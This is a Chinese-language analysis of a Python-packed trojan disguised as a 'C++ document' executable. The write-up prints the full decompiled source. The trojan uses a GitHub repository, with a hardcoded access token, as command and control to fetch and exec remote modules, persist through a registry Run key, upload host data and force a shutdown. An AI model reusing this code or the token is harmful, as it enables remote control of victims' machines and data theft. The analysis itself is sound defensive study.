python文档.exe分析
起因是有位群u分享了一个恶意程序,关于描述是这样的
比较好奇就下载了一下
到手先分析一下是什么文件以及有没有壳一类的
打开IDA,发现这个PE文件的库基本上都被打包上了,所以才这么大的,这个有点像之前接触过的python打包的文件,也验证了这位群u的话
尝试用工具看看能不能直接解出来里面的文件
比想象中顺利许多,直接就拿到里面的文件了
一下就看群友描述的C++文档这个名字了,不过是pyc,不能直接查看,使用uncompyle6继续转成能查看的py文件
这样就拿到py文件了
下面是源码
import base64, github3, importlib, random, json, threading, time, os
from datetime import datetime
import requests, ctypes, sys, win32api, win32con
from Cryptodome.Cipher import AES
import binascii
from Cryptodome.Util.Padding import pad
# 检查当前用户是否具有管理员权限
def is_admin():
try:
# 使用 ctypes 调用 Windows API 来检查是否具有管理员权限
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
# 连接到 GitHub 仓库
def github_connect():
# GitHub 用户名和访问令牌
user = 'gfsfjs'
token = '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'
# 使用 GitHub3.py 连接到仓库
session = github3.login(token=token)
return session.repository(user, 'bhptrojan')
# 从 GitHub 仓库获取文件内容
def get_file_contents(dirname, module_name, repo):
# 使用 GitHub API 获取指定路径下文件的内容
return repo.file_contents(f"{dirname}/{module_name}").content
# 主要的恶意程序类
class Trojan:
# 初始化类的实例
def __init__(self, id):
self.id = id
self.config_file = f"{id}.json"
self.data_path = f"data/{id}/"
self.repo = github_connect()
# 加密函数
def Encryption(self, contents):
# 将输入内容使用 AES 加密算法加密
contents = str(contents)
# lijunxuan大概是作者名
key = b'lijunxuan6180000'
while True:
# 对内容进行填充,使其长度符合 AES 要求
if len(contents) % 16 != 0:
contents += '='
else:
break
aes = AES.new(key, AES.MODE_ECB)
contents = pad(contents.encode('utf-8'), AES.block_size)
encrypto_contents = aes.encrypt(contents)
encrypto_contents = binascii.b2a_hex(encrypto_contents)
return encrypto_contents
# 获取管理员权限
def get_admin(self):
if is_admin():
# 提升递归限制,以支持深度递归
sys.setrecursionlimit(1000000)
name = 'C++文档.exe'
path = f"{os.path.abspath('C++文档.exe')}"
KeyName = 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'
try:
# 在注册表中添加自启动项,使程序在用户登录时启动
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
win32api.RegCloseKey(key)
except:
pass
else:
# 如果没有管理员权限,则尝试以管理员权限重新运行当前的脚本
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, 'C++文档.exe', None, 1)
# 获取配置文件
def get_config(self):
# 从 GitHub 仓库获取配置文件内容
config_json = get_file_contents('config', self.config_file, self.repo)
# 使用 base64 解码配置文件内容
config = json.loads(base64.b64decode(config_json))
# 导入配置中指定的模块
for task in config:
try:
if task['module'] not in sys.modules:
# 动态导入指定的模块
exec('import %s ' % task['module'])
except KeyError:
break
return config
# 执行模块
def module_runner(self, module):
# 运行指定的模块并获取结果保存到 result 变量
result = sys.modules[module].run()
# 存储模块执行结果
self.store_module_result(result, module)
# 存储模块执行结果
def store_module_result(self, data, module):
# 获取当前系统信息
l = requests.get('http://myip.ipip.net').text
message = datetime.now().isoformat()
message = message.split('T')[1]
weekday = str(datetime.now()).split(' ')[0]
# 构建上传路径
remote_path = f"data/{self.id}/{l.split(' ')[1].split(':')[1]}{os.getlogin()}/{weekday}/{message}({module} module).data"
# 对数据进行序列化
bindata = bytes('%r' % data, 'utf-8')
# 将结果上传到 GitHub 仓库
self.repo.create_file(remote_path, message, bindata)
# 主程序运行循环
def run(self):
while True:
# 获取管理员权限
self.get_admin()
# 获取配置信息
config = self.get_config()
# 循环执行配置中的模块
for task in config:
# 创建线程以运行指定模块
thread = threading.Thread(target=(self.module_runner), args=(task['module'],))
thread.start()
# 随机等待一段时间,以模拟正常操作的变化
time.sleep(random.randint(1, 10))
# 随机等待一段时间,以模拟正常操作的变化
time.sleep(random.randint(1800, 10800))
# 自定义模块加载器
class GitImporter:
def __init__(self):
self.current_module_code = ''
# 查找模块
def find_module(self, name, path=None):
print('[*] Attemping to retrieve %s ' % name)
self.repo = github_connect()
# 从 GitHub 仓库获取指定模块的代码
new_library = get_file_contents('modules', f"{name}.py", self.repo)
if new_library is not None:
# 解码获取的模块代码
self.current_module_code = base64.b64decode(new_library)
return self
# 加载模块
def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None, origin=(self.repo.git_url))
new_module = importlib.util.module_from_spec(spec)
# 在新模块的命名空间中执行获取的模块代码
exec(self.current_module_code, new_module.__dict__)
# 将新模块添加到 sys.modules 中
sys.modules[spec.name] = new_module
return new_module
if __name__ == '__main__':
# 添加自定义模块加载器
sys.meta_path.append(GitImporter())
# 创建 Trojan 类的实例
trojan = Trojan('trojan')
trojan.run()
可以看出逻辑还是比较清晰的,一开始导入库,后面会判断是否是管理员权限,获取额外的恶意代码并进行解码,执行恶意内容并进行上传,自启动等一系列行为
现在应该尝试看看额外下载的内容了,借助原本就有的代码拼接一个可以获取恶意内容的脚本
import base64
import github3
import os
def github_connect():
user = 'gfsfjs'
token = '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'
session = github3.login(token=token)
return session.repository(user, 'bhptrojan')
def get_file_contents(dirname, module_name, repo):
return repo.file_contents(f"{dirname}/{module_name}").content
if __name__ == '__main__':
repo = github_connect()
config = json.loads(base64.b64decode(get_file_contents('config', 'trojan.json', repo)))
for task in config:
module_name = task['module'] + '.py'
module_content = get_file_contents('modules', module_name, repo)
with open(module_name, 'wb') as module_file:
module_file.write(module_content.encode('utf-8'))
分别进行base64解码
dirlister.py
def run(**args):
import os
print("[*] In listdir module.")
return os.listdir()
get_ip.py
def run(**args):
import requests
response = requests.get("http://myip.ipip.net").text
print("[*] In get_ip module.")
return response
shut_down.py
def run(**args):
import os
import time
print("[*] It's shutdown now!!!")
os.system("shutdown -s -t 0")
str1 = "It's shutdown now!!!"
return str1
到目前为止已经完全搞清楚了这个恶意程序会进行什么操作了
首先,该恶意程序会尝试通过 is_admin()判断是否具有管理员权限,如果没有管理员权限,尝试以管理员权限重新运行当前的脚本,
其次,尝试将程序自身注册为系统的启动项,以便在用户登录时自动启动,然后使用使用github3库连接到指定的github仓库,然后下载恶意代码,并进行目录枚举,获取ip这些动作,将执行结果加密并上传到github仓库之后进行关机操作
头一次进行这类分析,希望可以指出不足之处
要是真有转载的老哥标一下原始链接就好